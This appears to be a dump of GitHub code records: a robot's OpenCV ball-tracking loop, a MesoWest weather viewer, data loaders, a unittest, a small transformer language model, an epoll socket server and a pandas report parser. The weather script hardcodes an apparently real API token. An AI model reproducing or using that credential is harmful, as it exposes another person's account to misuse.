switch to HSV colorspace for easier color filter\n hsv = cv2.cvtColor(np.uint8(image), cv2.COLOR_BGR2HSV)\n\n if DEBUG_TIMING:\n timings[\"cv2.cvtColor\"] = time.time() - now_time\n now_time = time.time()\n\n\n # filter the 2 red parts of colorspace\n mask_lower = cv2.inRange(hsv, np.array([0, red_min_s, red_min_v]), np.array([red_lower_max_h, 255, 255]))\n mask_upper = cv2.inRange(hsv, np.array([red_upper_min_h, red_min_s, red_min_v]), np.array([179, 255, 255]))\n\n if DEBUG_TIMING:\n timings[\"2x cv2.inRange\"] = time.time() - now_time\n now_time = time.time()\n\n # unite the two red parts\n mask_red = cv2.addWeighted(mask_upper, 1, mask_lower, 1, 0)\n # mask_red = cv2.inRange(hsv, np.array([80, 100, 120]), np.array([100, 255, 255]))\n\n if DEBUG_TIMING:\n timings[\"cv2.addWeighted\"] = time.time() - now_time\n now_time = time.time()\n\n # median blur for better recognition\n mask_red = cv2.medianBlur(mask_red, 3)\n\n if DEBUG_TIMING:\n timings[\"cv2.medianBlur\"] = time.time() - now_time\n now_time = time.time()\n\n # erosion and dilation - removed for extra speed\n # kernel = np.ones((9, 9), np.uint8)\n # mask_red = cv2.morphologyEx(mask_red, cv2.MORPH_OPEN, kernel)\n # mask_red = cv2.morphologyEx(mask_red, cv2.MORPH_CLOSE, kernel)\n\n # find circles\n circles = cv2.HoughCircles(mask_red, cv2.HOUGH_GRADIENT, 1, 20, param1=100, param2=10, minRadius=7, maxRadius=320)\n\n if DEBUG_TIMING:\n timings[\"cv2.HoughCircles (red)\"] = time.time() - now_time\n now_time = time.time()\n\n # control the robot according to the measures\n if circles is not None: # or time.time() - last_circle_time < 3:\n if circles is not None:\n last_circle_time = time.time()\n circles = np.uint16(np.around(circles))\n i = circles[0, 0]\n posX = i[0]\n posY = i[1]\n radius = i[2]\n if DEBUG_CIRCLEPOS:\n print(\"X: {}\\tY: {}\\tr: {}\\t\".format(posX, posY, radius))\n\n xLower = max(posX - int(1.5 * radius), 0)\n xHigher = min(posX + int(1.5 * radius), width - 1)\n yLower = max(posY - int(1.5 * radius), 0)\n yHigher = min(posY + int(1.5 * radius), height - 1)\n roi = cv2.cvtColor(image[yLower: yHigher,\n xLower: xHigher], cv2.COLOR_BGR2GRAY)\n\n if DEBUG_TIMING:\n timings[\"ROI\"] = time.time() - now_time\n now_time = time.time()\n\n if SET_GUI:\n # draw the outer circle\n cv2.circle(image, (posX, posY), radius, (0, 0, 0), 2)\n # draw the center of the circle\n cv2.circle(image, (posX, posY), 2, (0, 0, 0), 3)\n\n if roi is not None:\n graycircles = cv2.HoughCircles(roi, cv2.HOUGH_GRADIENT, 1, 20, param1=100, param2=80,\n minRadius=int(0.7 * radius), maxRadius=2 * radius)\n\n if DEBUG_TIMING:\n timings[\"cv2.HoughCircles (grayscale)\"] = time.time() - now_time\n now_time = time.time()\n\n if graycircles is not None:\n j = graycircles[0, 0]\n posX = xLower + j[0]\n posY = yLower + j[1]\n radius = j[2]\n if DEBUG_CIRCLEPOS:\n print(\"\\tX: {}\\tY: {}\\tr: {}\\t\".format(posX, posY, radius))\n\n GPIO.output(26, GPIO.HIGH)\n\n # exp avg for noise reduction\n radius = rad_exp_filter_coeff * radius + (1-rad_exp_filter_coeff) * radius_prev\n posX = posX_exp_filter_coeff * posX + (1-posX_exp_filter_coeff) * posX_prev\n\n # calculate PID parameters\n distErr = distRef - radius\n distIntegral += distErr\n angleErr = width / 2 - posX\n angleIntegral += angleErr\n\n # calculate control values\n speed = min(Kp_dist * distErr, 100)\n angleCorr = Kp_angle * angleErr\n else:\n GPIO.output(26, GPIO.LOW)\n\n # control\n motor.directSpeed(speed + angleCorr, speed - angleCorr)\n last_movement_time = time.time()\n\n # save for next iteration\n radius_prev = radius\n posX_prev = posX\n\n if DEBUG_TIMING:\n timings[\"motor control\"] = time.time() - now_time\n now_time = time.time()\n\n if SET_GUI:\n # draw the outer circle\n cv2.circle(image, (int(posX), int(posY)), int(radius), (0, 255, 0), 2)\n # draw the center of the circle\n cv2.circle(image, (int(posX), int(posY)), 2, (0, 255, 0), 3)\n\n # if graycircles is not None:\n # cv2.circle(gray, (j[0], j[1]), j[2], (0, 255, 0), 2)\n # cv2.circle(gray, (j[0], j[1]), 2, (0, 255, 0), 3)\n\n # if there is no circle on image\n else:\n GPIO.output(26, GPIO.LOW)\n if 5 < time.time() - last_movement_time < 12:\n motor.directSpeed(signum(angleErr) * 40, signum(angleErr) * -40)\n if DEBUG_MOTORSPEED:\n print(\"S:{},{}\".format(signum(angleErr) * 40, signum(angleErr) * -40))\n else:\n motor.stop()\n posX = None\n posY = None\n radius = None\n if DEBUG_TIMING:\n timings[\"motor stop\"] = time.time() - now_time\n now_time = time.time()\n\n if DEBUG_TIMING:\n timings[\"total_time\"] = time.time() - timings[\"total_time\"]\n print(\"Timings: \" + '\\t'.join([\"%s= %fms\"%(k,v*1000.0) for (k,v) in timings.items()]))\n\n #\n # counter.increment()\n # if counter.elapsed() > 5:\n # counter.stop()\n # print(counter.fps())\n # counter.start()\n\n if SET_GUI:\n # show the frame\n cv2.imshow(main_window, image)\n cv2.imshow(\"HSV\", hsv)\n cv2.imshow(\"Red\", mask_red)\n if roi is not None:\n cv2.imshow(\"roi\", roi)\n\n key = cv2.waitKey(1) & 0xFF\n\n # clear the stream in preparation for the next frame\n # rawCapture.truncate(0)\n\n # if the `q` key was pressed, break from the loop\n if key == ord(\"q\"):\n GPIO.cleanup()\n break\n","repo_name":"izsoandras/BME-ProjectLaboratory","sub_path":"RoboPro/RobotServer/src/opencvtest.py","file_name":"opencvtest.py","file_ext":"py","file_size_in_byte":11426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"45704080278","text":"from MesoPy import Meso\nimport datetime\nm = Meso(token='11b5b4f4d04041cead837493576cdecd')\nnow = datetime.datetime.now()\ntwelve_hours_prior = datetime.datetime.now() - datetime.timedelta(days=0.5)\n\ndef main():\n menu_input = \"\"\n # Time format YYYYMMDDTTTT\n print(\"Great Lakes Weather Service Data Viewer, written by Douglas Schumacher\")\n print(\"The current date and time is \" + now.strftime(\"%Y-%m-%d %H:%M\"))\n starttime = twelve_hours_prior.strftime(\"%Y%m%d%H%M\") # Period starts 12 hours prior to current time\n endtime = currenttime() # Period ends at current time\n while menu_input != \"q\":\n menu_input = input(\"Enter 1 for Cranberry data, 2 for Wysocki data, and 3 for Buckley Data, or q to quit: \")\n print(\"********\")\n if menu_input == 'q':\n quit()\n if menu_input == '1':\n cranberries(starttime, endtime)\n if menu_input == '2':\n wysocki(starttime, endtime)\n if menu_input == '3':\n buckley(starttime, endtime)\n\ndef cranberries(starttime, endtime):\n # Sparta, AR731 [Cataract]\n # Fort McCoy, KCMY\n # Tomah, NO CURRENT STATION\n # Camp Douglas, KVOK\n # Black River Falls, KBCK\n # Eau Claire, KEAU\n # Augusta, AFWW3\n # Neillsville, KMFI [Marshfield]\n # Mather, NCHW3 [Necedah Wildlife Refuge]\n region1_station_list = [\"AR730\", \"KCMY\", \"TOMAH NO STATION\", \"KVOK\", \"KBCK\", \"KEAU\", \"AFWW3\", \"KMFI\", \"NCHW3\" ]\n # Town of Cranmoor, Elm Lake Cranberry, NOT IN MESOWEST\n # Wisconsin Rapids, KISW\n # Rome, NKAW3\n # Mather, NCHW3 [Necedah Wildlife Refuge]\n # Necedah, NEHW3\n # Plover, PLOW3 [NOT WORKING], KSTE\n # Lake Du Bay, Du Bay Cranberry, NOT IN MESOWEST\n # Hancock, E9270\n # Wautoma, KY50\n region2_station_list = [\"KISW\", \"NKAW3\", \"NCHW3\", \"NEHW3\",\"KSTE\", \"E9270\", \"KY50\"]\n # Siren, KRZN\n # Minong, MRZW3\n # Haugen, HAUW3\n # Barnes, BRNW3\n # Cable, CABW3 [LOTS OF ERRORS RIGHT NOW]\n # Clam Lake, CLRW3\n # Hayward, KHYR\n # Rice Lake, KRPD\n # Bruce, DW1191\n # Ladysmith, KRCX\n region3_station_List = [\"KRZN\", \"MRZW3\", \"HAUW3\", \"BRNW3\", \"CABW3\", \"CLRW3\", \"KHYR\", \"KRPD\", \"DW1191\", \"KRCX\"]\n # Hurley, KIWD\n # Glidden, GDNW3\n # Fifield, E4088\n # Phillips, KPBH\n # Manitowish Waters [Cranberry], NOT IN MESOWEST\n # Manitowish Waters [Airport], KD25\n # Minocqua, KARV\n # Eagle River, KEGV\n # Three Lakes, Sampson Cranberry, NOT IN MESOWEST\n # Lake Nokomis [Cranberry], NOT IN MESOWEST\n # Rhinelander, KRHI\n # Tomahawk, KTKV\n region4_station_list = [\"KIWD\", \"GDNW3\", \"KPBH\", \"KD25\", \"KARV\", \"KEGV\", \"KRHI\", \"KTKV\"]\n master_station_list = [region1_station_list, region2_station_list, region3_station_List, region4_station_list]\n i = 1\n for station_list in master_station_list:\n print(\"__________________\")\n print(\"Low Temperatures for Region \" + str(i) + \" from \" + str(starttime) + \" to \" + str(endtime))\n print(\"__________________\")\n i += 1\n for station in station_list:\n low_temp_data(station, starttime, endtime)\n return\ndef wysocki(starttime, endtime):\n # Babcock, AT644 [Nekoosa]\n # Wisconsin Rapids, KISW\n # Nekoosa, AT644\n # Necedah, NEHW3\n # Monroe Center, UR380 [Necedah]\n # Plover, C0617\n # Almond, KPCZ [Waupaca]\n # Rome, NKAW3\n # Hancock, E9270\n # Wautoma, KY50\n station_list = [\"AT644\", \"KISW\", \"NEHW3\", \"UR380\", \"C0617\", \"KPCZ\", \"NKAW3\", \"E9270\", \"KY50\"]\n for station in station_list:\n data(station, starttime, endtime)\n\ndef buckley(starttime, endtime):\n station_list = [\"KUES\", \"KMKE\", \"KMSN\"] # Waukesha, Milwaukee, Madison\n for station in station_list:\n data(station, starttime, endtime)\n\ndef data(station, starttime, endtime):\n precip = m.precip(stid = station, start = starttime, end = endtime, units='precip|in')\n climate = m.time_stats(stid= station, start = starttime, end = endtime, type = 'all')\n try:\n station_climate = climate['STATION'][0]\n station_precip = precip['STATION'][0]\n except:\n print(\"Sorry, data set incomplete for \" + station)\n print(\"-------\")\n return\n station_name = station_climate['NAME'] # Storing station name to print\n totalPrecip = station_precip['OBSERVATIONS']['total_precip_value_1']\n high_temp = temp_f(station_climate['STATISTICS']['air_temp_set_1']['maximum'])\n low_temp = temp_f(station_climate['STATISTICS']['air_temp_set_1']['minimum'])\n print(\"Data for \" + station_name + \", from \" + str(starttime) + \" to \" + str(endtime))\n print(\"High: \" + str(high_temp) + \" °F\") # High of period\n print(\"Low: \" + str(low_temp) + \" °F\") # Low of period\n print(\"Total precip: \" + str(totalPrecip) + '\"') # Total precip of period\n print(\"-------\")\n\ndef low_temp_data(station, starttime, endtime):\n climate = m.time_stats(stid= station, start = starttime, end = endtime, type = 'all')\n try:\n station_climate = climate['STATION'][0]\n except:\n print(\"Sorry, data set incomplete for \" + station)\n print(\"-------\")\n return\n station_name = station_climate['NAME'] # Storing station name to print\n low_temp = temp_f(station_climate['STATISTICS']['air_temp_set_1']['minimum'])\n print(\"Data for \" + station_name)\n print(\"Low: \" + str(low_temp) + \" °F\") # Low of period\n print(\"-------\")\n\ndef temp_f(temp_c):\n return \"{0:.4}\".format(str(((9.0 / 5.0) * temp_c) + 32.0)) # Formats to decimal place, converts to F\n\ndef currenttime():\n return now.strftime(\"%Y%m%d%H%M\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"DougASchu/GLWS-Obs","sub_path":"Obs.py","file_name":"Obs.py","file_ext":"py","file_size_in_byte":5613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15953005958","text":"import safegraph_parser\nimport sys\nimport pickle\nimport gzip\nimport os\nimport argparse\nimport multiprocessing.pool\nimport errno\nimport data_parser\nimport data_loader\n\ndef FullDir(dir_name):\n return [os.path.join(dir_name, file_name) for file_name in os.listdir(dir_name)]\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"month\", help=\"Required: The month of data to load.\")\n parser.add_argument(\"--tract_type\", help=\"If specified and equal to census_tract compute at a census_tract level otherwise compute at a county level\")\n parser.add_argument(\"--filter_states\", help=\"If specified only compute for these states, useful for faster script or limited memory/storage\")\n args = parser.parse_args()\n\n month = args.month\n if args.tract_type == \"census_tract\":\n row_key_extractor = safegraph_parser.ConvertRowKeyForTract\n elif args.tract_type == \"census_block\":\n row_key_extractor = lambda x: x\n else:\n row_key_extractor = safegraph_parser.ConvertRowKey\n if args.filter_states:\n states = set(args.filter_states.split(','))\n else:\n states = None\n print(states)\n\n\n start_date, end_date = data_loader.GetDateRangeForMonth(month)\n distancing_files = data_loader.GetDistancingPathsForDateRange(start_date, end_date)\n\n\n # month_files = FullDir(\"raw_data/placegraph_data/{}\".format(month))\n # poi_cat_files = FullDir(\"raw_data/placegraph_data/category_map\")\n census_block_stats = \"raw_data/placegraph_summary_data/{}/home_panel_summary.csv\".format(month)\n combined_data_by_state = safegraph_parser.SplitIntoSerializedSocialDistancingStates(\n distancing_files, census_block_stats, row_key_extractor=row_key_extractor, filter_states=states)\n print(\"Storing data\")\n\n for state, combined_data_for_state in combined_data_by_state.iteritems():\n print(\"Storing data for {}\".format(state))\n if args.tract_type == \"census_tract\":\n data_parser.StoreMarshalInterconnect(combined_data_for_state, \"data/computed_interconnect/{}/{}.marshal\".format(month, state))\n elif args.tract_type == \"census_block\":\n data_parser.StoreMarshalInterconnect(combined_data_for_state, \"data/computed_block_interconnect/{}/{}.marshal\".format(month, state))\n else:\n data_parser.StoreMarshalInterconnect(combined_data_for_state, \"data/computed_county_interconnect/{}/{}.marshal\".format(month, state))\n","repo_name":"mike529/safegraph_analysis","sub_path":"interconnect_loader.py","file_name":"interconnect_loader.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43519386015","text":"from unittest import TestCase, main\nfrom project.factory.paint_factory import PaintFactory\n\n\nclass TestPaintFactory(TestCase):\n\n def setUp(self) -> None:\n self.factory = PaintFactory(\"Nothing\", 100)\n\n def test_successful_initialization(self):\n self.assertEqual(\"Nothing\", self.factory.name)\n self.assertEqual(100, self.factory.capacity)\n self.assertEqual({}, self.factory.ingredients)\n self.assertEqual([\"white\", \"yellow\", \"blue\", \"green\", \"red\"], self.factory.valid_ingredients)\n self.assertEqual({}, self.factory.products)\n\n def test_add_ingredients_not_enough_space(self):\n self.factory.capacity = 0\n with self.assertRaises(ValueError) as ve:\n self.factory.add_ingredient(\"white\", 1)\n self.assertEqual(\"Not enough space in factory\", str(ve.exception))\n\n def test_add_wrong_ingredient(self):\n with self.assertRaises(TypeError) as te:\n self.factory.add_ingredient(\"bomba\", 1)\n expected = f\"Ingredient of type bomba not allowed in {self.factory.__class__.__name__}\"\n self.assertEqual(expected, str(te.exception))\n\n def test_successful_add_ingredient(self):\n expected = {\"red\": 1}\n self.factory.add_ingredient(\"red\", 1)\n self.assertEqual(expected, self.factory.ingredients)\n\n def test_remove_ingredient_value_error_quantity_less_than_zero(self):\n self.factory.add_ingredient(\"red\", 1)\n with self.assertRaises(ValueError) as ve:\n self.factory.remove_ingredient(\"red\", 2)\n expected = \"Ingredients quantity cannot be less than zero\"\n self.assertEqual(expected, str(ve.exception))\n\n def test_remove_ingredient_when_giving_non_existent_product(self):\n expected = \"'No such ingredient in the factory'\"\n with self.assertRaises(KeyError) as ke:\n self.factory.remove_ingredient(\"piramparamparo\", 1)\n self.assertEqual(expected, str(ke.exception))\n\n def test_successful_remove_quantity_from_ingredient(self):\n self.factory.add_ingredient(\"red\", 1)\n self.factory.remove_ingredient(\"red\", 1)\n self.assertEqual({\"red\": 0}, self.factory.ingredients)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"kumchovylcho/softuni","sub_path":"Advanced - Python/Python OOP - Exams/Python OOP Exam - 16 Aug 2020/test/test_paint_factory.py","file_name":"test_paint_factory.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"5"} +{"seq_id":"17349831400","text":"list1 = []\nlist2 = []\n\ntry:\n totalElements_list1 = int(input(\"Enter the Size of List 1: \"))\n print(\"Enter Elements:\")\n for elementCount in range(0, totalElements_list1):\n print(\"Enter Number\", elementCount)\n item = int(input())\n list1.append(item)\n\n totalElements_list2 = int(input(\"Enter the Size of List 2: \"))\n print(\"Enter Elements:\")\n for elementCount in range(0, totalElements_list2):\n print(\"Enter Number\", elementCount)\n item = int(input())\n list2.append(item)\n\n print(\"Elements in List 1: \", list1)\n print(\"Elements in List 2: \", list2)\n\n flag = 0\n\n for element in list1:\n if element in list2:\n flag = 1\n\n # checking condition\n if flag == 1:\n print(\"There is a common element in List 1 and List 2.\")\n else:\n print(\"There is no common element in List 1 and List 2.\")\n\nexcept Exception:\n print(\"Invalid Input.\")\n","repo_name":"NikhilVarghese21/AI-ML","sub_path":"Python_AIML/Q6_CommonElement.py","file_name":"Q6_CommonElement.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29486320539","text":"#script creates and trains a simple bigram language model using a transformer architecture\n#this is a simplified version of the model used in the paper \"Attention is all you need\" (Vaswani et al., 2017)\n#the model is trained on the tinyshakespeare dataset, which is a small subset of the works of Shakespeare\n#the model is trained to predict the next character in a sequence of characters\n\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\n\n#hyperparameters\nbatch_size = 64 #Number of independent sequences processed in parallel\nblock_size = 256 #maximum context length for predictions\nmax_iters = 5000\neval_interval = 500\nlearning_rate = 3e-4\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu' #run on GPU if avaliable\neval_iters = 200\nn_embed = 384 #embedding dimension\nn_head = 6 #number of heads\nn_layer = 6 #number of layers\ndropout = 0.2 #dropout rate\n# ------------\n# With these hyperparameters, it is recommended to run on a GPU.\n# If you run on a CPU, you may want to reduce the number of layers and embedding dimension.\n# ------------\n\n#seed set for testing\ntorch.manual_seed(1337)\n\n# !wget https://raw.githubusercontent.com/karpathy/char-rnn/master/data/tinyshakespeare/input.txt #source of input.txt file if not avaliable\nwith open('input.txt', 'r', encoding='utf-8') as f:\n text = f.read()\n\n#here are all the unique characters that occur in this text\nchars = sorted(list(set(text)))\nvocab_size = len(chars)\n#create a mapping from characters to integers\nstoi = { ch:i for i,ch in enumerate(chars) }\nitos = { i:ch for i,ch in enumerate(chars) }\nencode = lambda s: [stoi[c] for c in s] #encoder: take a string, output a list of integers\ndecode = lambda l: ''.join([itos[i] for i in l]) #decoder: take a list of integers, output a string\n\n#Train and test splits\ndata = torch.tensor(encode(text), dtype=torch.long)\nn = int(0.9*len(data)) #90% of data will be used to train \ntrain_data = data[:n]\nval_data = data[n:]\n\n#data loading\ndef get_batch(split):\n #generate a small batch of data of inputs x and targets y\n data = train_data if split == 'train' else val_data\n ix = torch.randint(len(data) - block_size, (batch_size,))\n x = torch.stack([data[i:i+block_size] for i in ix])\n y = torch.stack([data[i+1:i+block_size+1] for i in ix])\n x, y = x.to(device), y.to(device)\n return x, y\n\n\n@torch.no_grad() #no grad added for efficiency as we are backpropagating \ndef estimate_loss():\n out = {}\n model.eval()\n for split in ['train', 'val']:\n losses = torch.zeros(eval_iters)\n for k in range(eval_iters):\n X, Y = get_batch(split)\n logits, loss = model(X, Y)\n losses[k] = loss.item()\n out[split] = losses.mean()\n model.train()\n return out\n\n#one headed self attention\n\nclass Head(nn.Module):\n\n \"\"\"one headed self-attention\"\"\"\n\n def __init__(self, head_size):\n super().__init__()\n self.key = nn.Linear(n_embed, head_size, bias=False)\n self.query = nn.Linear(n_embed, head_size, bias=False)\n self.value = nn.Linear(n_embed, head_size, bias=False)\n self.register_buffer('tril', torch.tril(torch.ones(block_size, block_size)))\n\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x):\n B,T,C = x.shape\n #compute queries, keys \n k = self.key(x) #(B,T,C)\n q = self.query(x) #(B,T,C)\n #compute dot product weights\n wei = q @ k.transpose(-2,-1) * C**-0.5 #(B,T,C) @ (B,C, T) -> (B,T,T)\n wei = wei.masked_fill(self.tril[:T,:T] == 0, float('-inf')) #(B,T,T)\n wei = F.softmax(wei, dim=-1) #(B,T,T)\n wei = self.dropout(wei) #dropout\n #apply attention weights to values\n v = self.value(x) #(B,T,C)\n out = wei @ v #(B,T,T) @ (B,T,C) -> (B,T,C)\n return out\n\n\n#multi headed self attention\nclass MultiHead(nn.Module):\n\n \"\"\"multi headed self-attention in paralel\"\"\"\n\n def __init__(self, n_heads, head_size):\n super().__init__()\n self.heads = nn.ModuleList([Head(head_size) for _ in range(n_heads)])\n self.proj = nn.Linear(n_embed, n_embed)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x):\n out = torch.cat([h(x) for h in self.heads], dim=-1) #(B,T,C*n_heads)\n out = self.proj(out) #(B,T,C)\n return out\n\n#feed forward\n\nclass FeedForward(nn.Module):\n \"\"\"simple linear layer followed by a nonlinearity\"\"\"\n def __init__(self, n_embed):\n super().__init__()\n self.net = nn.Sequential(\n nn.Linear(n_embed, 4 *n_embed),\n nn.ReLU(),\n nn.Linear(4 *n_embed, n_embed), #project back to original dimension\n nn.Dropout(dropout),\n )\n\n def forward(self, x):\n return self.net(x)\n\n#transformer block\nclass Block(nn.Module):\n \n \"\"\"transformer block: communication followed by computation\"\"\"\n def __init__(self, n_embed, n_head):\n super().__init__()\n head_size = n_embed // n_head\n self.sa = MultiHead(n_head, head_size)#self attention multihead\n self.ffwd = FeedForward(n_embed)#feed forward layer\n self.ln1 = nn.LayerNorm(n_embed)#layer normalization\n self.ln2 = nn.LayerNorm(n_embed)#layer normalization\n \n def forward(self, x): #adding to x creates residual connections\n x = x + self.sa(self.ln1(x))\n x = x + self.ffwd(self.ln2(x))\n return x\n \n#simple Bigram model\nclass BigramLanguageModel(nn.Module):\n\n def __init__(self):\n super().__init__()\n #each token directly reads off the logits for the next token from a lookup table\n self.token_embedding_table = nn.Embedding(vocab_size, n_embed)\n self.position_embedding_table = nn.Embedding(block_size, n_embed) #position embedding\n #self.sahead = Head(n_embed) #self attention head\n #self.saheads = MultiHead(4, n_embed//4) #4 heads of 8-dimensional self attention\n self.blocks = nn.Sequential(*[Block(n_embed, n_head=n_head) for _ in range(n_layer)])\n self.ln_f = nn.LayerNorm(n_embed) #final layer normalization\n #self.ffwd = FeedForward(n_embed) #feed forward layer\n self.lmhead = nn.Linear(n_embed, vocab_size) #language model head\n\n def forward(self, idx, targets=None):\n B, T = idx.shape \n \n #idx and targets are both (B,T) tensor of integers\n token_emb = self.token_embedding_table(idx) #(B,T,C)\n #add position embeddings\n pos_emb = self.position_embedding_table(torch.arange(T, device=device)) #(T,C)\n x = token_emb + pos_emb #(B,T,C)\n #apply self attention\n #x = self.saheads(x) #(B,T,C)\n #apply feed forward\n #x = self.ffwd(x) #(B,T,C)\n x = self.blocks(x) #(B,T,C)\n\n logits = self.lmhead(x) #(B,T, vocab_size)\n\n if targets is None:\n loss = None\n else:\n B, T, C = logits.shape\n logits = logits.view(B*T, C)\n targets = targets.view(B*T)\n loss = F.cross_entropy(logits, targets)\n\n return logits, loss\n\n def generate(self, idx, max_new_tokens):\n #idx is (B, T) array of indices in the current context\n for _ in range(max_new_tokens):\n # crop idx to the last block_size tokens\n idx_cond = idx[:, -block_size:] #(B, T)\n #get the predictions\n logits, loss = self(idx_cond)\n #focus only on the last time step\n logits = logits[:, -1, :] #becomes (B, C)\n #apply softmax to get probabilities\n probs = F.softmax(logits, dim=-1) #(B, C)\n #sample from the distribution\n idx_next = torch.multinomial(probs, num_samples=1) #(B, 1)\n #append sampled index to the running sequence\n idx = torch.cat((idx, idx_next), dim=1) #(B, T+1)\n return idx\n\nmodel = BigramLanguageModel()\nm = model.to(device)\n\n#create PyTorch optimizer\noptimizer = torch.optim.AdamW(model.parameters(), lr=learning_rate)\n\nfor iter in range(max_iters):\n\n #every once in a while evaluate the loss on train and val sets\n if iter % eval_interval == 0:\n losses = estimate_loss()\n print(f\"step {iter}: train loss {losses['train']:.4f}, val loss {losses['val']:.4f}\")\n\n # ample a batch of data\n xb, yb = get_batch('train')\n\n #evaluate the loss\n logits, loss = model(xb, yb)\n optimizer.zero_grad(set_to_none=True)\n loss.backward()\n optimizer.step()\n\n#generate from the model\ncontext = torch.zeros((1, 1), dtype=torch.long, device=device)\nprint(decode(m.generate(context, max_new_tokens=500)[0].tolist()))\n","repo_name":"Mazath/Portfolio","sub_path":"NLP/bigram.py","file_name":"bigram.py","file_ext":"py","file_size_in_byte":8660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"6851756798","text":"import socket\nimport select\n\n\ndef main():\n # 创建套接字\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # 绑定本机信息\n server_socket.bind((\"127.0.0.1\", 12000))\n # 重复使用绑定的信息\n server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n # 变为被动\n server_socket.listen(1024)\n # 设置套接字为非阻塞模式\n server_socket.setblocking(False)\n print(\"Start to receive!\")\n # 创建一个epoll对象\n epoll = select.epoll()\n # 为服务器端套接字server_socket的文件描述符注册事件\n epoll.register(server_socket, select.EPOLLIN)\n new_socket_list = {}\n client_address_list = {}\n\n # 循环等待数据到达\n while True:\n # 检测并获取epoll监控的已触发事件\n epoll_list = epoll.poll()\n\n # 对事件进行处理\n for fd, events in epoll_list:\n # 如果有新的连接请求递达\n if fd == server_socket.fileno():\n new_socket, client_address = server_socket.accept()\n print('有新的客户端到来%s' % str(client_address))\n\n # 为新套接字的文件描述符注册读事件\n epoll.register(new_socket, select.EPOLLIN)\n new_fd = new_socket.fileno()\n new_socket_list[new_fd] = new_socket\n client_address_list[new_fd] = client_address\n # print(fd)\n # 如果监听到EPOLLIN事件, 表示对应的文件描述符可以读\n elif events & select.EPOLLIN:\n # 处理逻辑\n # print(fd)\n message = new_socket_list[fd].recv(1024).decode()\n if message == \"\":\n epoll.unregister(new_socket_list[fd])\n new_socket = new_socket_list[fd]\n # new_socket_list.remove(new_socket)\n # client_address_list.remove(client_address_list[fd])\n new_socket_list[fd].close()\n else:\n modified = message.upper()\n new_socket_list[fd].send(modified.encode())\n\nif __name__ == '__main__':\n main()","repo_name":"Michael112233/ComputerNetworkLab7","sub_path":"IOMult_server_epoll.py","file_name":"IOMult_server_epoll.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71606227033","text":"import pandas as pd\r\nvcuentatotal=0\r\nvestatus1='ATENDIDO'\r\nvestatus2='PENDIENTE'\r\nvestatus3='CANCELADO'\r\ncolumnas=[]\r\ncolumnasdatos=[]\r\nunion=[]\r\n\r\n\r\nwith open('GTYAB684_scmae_prog_entr.lst', 'r') as archivo:\r\n file = open(\"copy.txt\", \"w\", newline='')\r\n linea = archivo.readline()\r\n\r\n for linea in archivo:\r\n if vestatus1 in linea or vestatus2 in linea or vestatus3 in linea:\r\n vcuentatotal = vcuentatotal+1\r\n\r\n #We can use replace() to remove all the whitespaces from the string. This function will remove whitespaces between words too.\r\n linea = (linea.replace(\",\", \"\")) #Se elimina la coma del campo Cantidad\r\n linea = \",\".join(linea.split()) #Se eliminan los espacios en blanco duplicados y se sustituyen con una coma como delimitador\r\n columnas=linea.split(',') #Se pasa la cadena a una variable tipo lista\r\n\r\n if 'PMX' in columnas[len(columnas)-6]:\r\n columnas.append('LOCAL')\r\n else:\r\n columnas.append('FORANEO')\r\n \r\n bls=float(columnas[len(columnas)-5]) / 159\r\n columnas.append(str(bls))\r\n\r\n # La función len() devuelve la longitud de la lista (su cantidad de elementos)\r\n union=columnas[0:6] + columnas[len(columnas)-12:len(columnas)]\r\n #print(union)\r\n #print(len(union))\r\n # usar el método str.join() para convertir una lista que tiene elementos de tipo datos str a una cadena\r\n\r\n linea=\",\".join(union)+'\\n'\r\n #linea=(linea, end='')\r\n file.writelines(linea)\r\n linea = archivo.readline()\r\n\r\nfile.close()\r\ncolumnasdatos=['Viaje', 'Pedido', 'Orden', 'Cons', 'Sal', 'Cliente', 'Dest', 'Producto', 'Pres' ,'MT', 'Vehículo', 'Tonel', 'Cantidad', 'Tiempo', 'Estatus', 'Turno', 'Reparto', 'BLS']\r\n\r\ndf = pd.read_csv('copy.txt', header=None, names=columnasdatos)\r\n\r\n#print(df)\r\n\r\nprint(\"\\nTOTAL VIAJES PROGRAMADOS: \", vcuentatotal)\r\ndf.columns\r\nprint(\"PRODUCTOS PROGRAMADOS: \", pd.unique(df['Producto'].sort_values(ascending=True)))\r\n\r\n#print(df.dtypes) muestra los tipos de datos de columnas\r\n\r\n# Datos agrupados por Producto\r\ngrouped_data = df.groupby('Producto')\r\n\r\n#print(grouped_data.describe()) # Estadísticas para todas las columnas numéricas por Producto\r\nprint(\"\\nTOTAL VIAJES PROGRAMADOS POR PRODUCTO: \")\r\nprint(grouped_data['Viaje'].count())\r\n\r\n# Regresa la media de cada columna numérica por viaje\r\n#print(grouped_data.mean())\r\n\r\n#grouped_data2 = df.groupby(['Producto', 'Cliente', 'Dest'])\r\n# Estadísticas para todas las columnas numéricas por Producto\r\n#print(grouped_data2['Dest'].count())\r\n# Cuenta el número de viajes cliente-destino por Producto\r\n#clientedest_counts2 = df.groupby(['Producto', 'Cliente', 'Dest']).count()\r\n#print(\"TOTAL VIAJES POR CLIENTE-DESTINO: \")\r\n#print(clientedest_counts2.groupby('Producto')['Viaje'].count())\r\n\r\ngrouped_data2 = 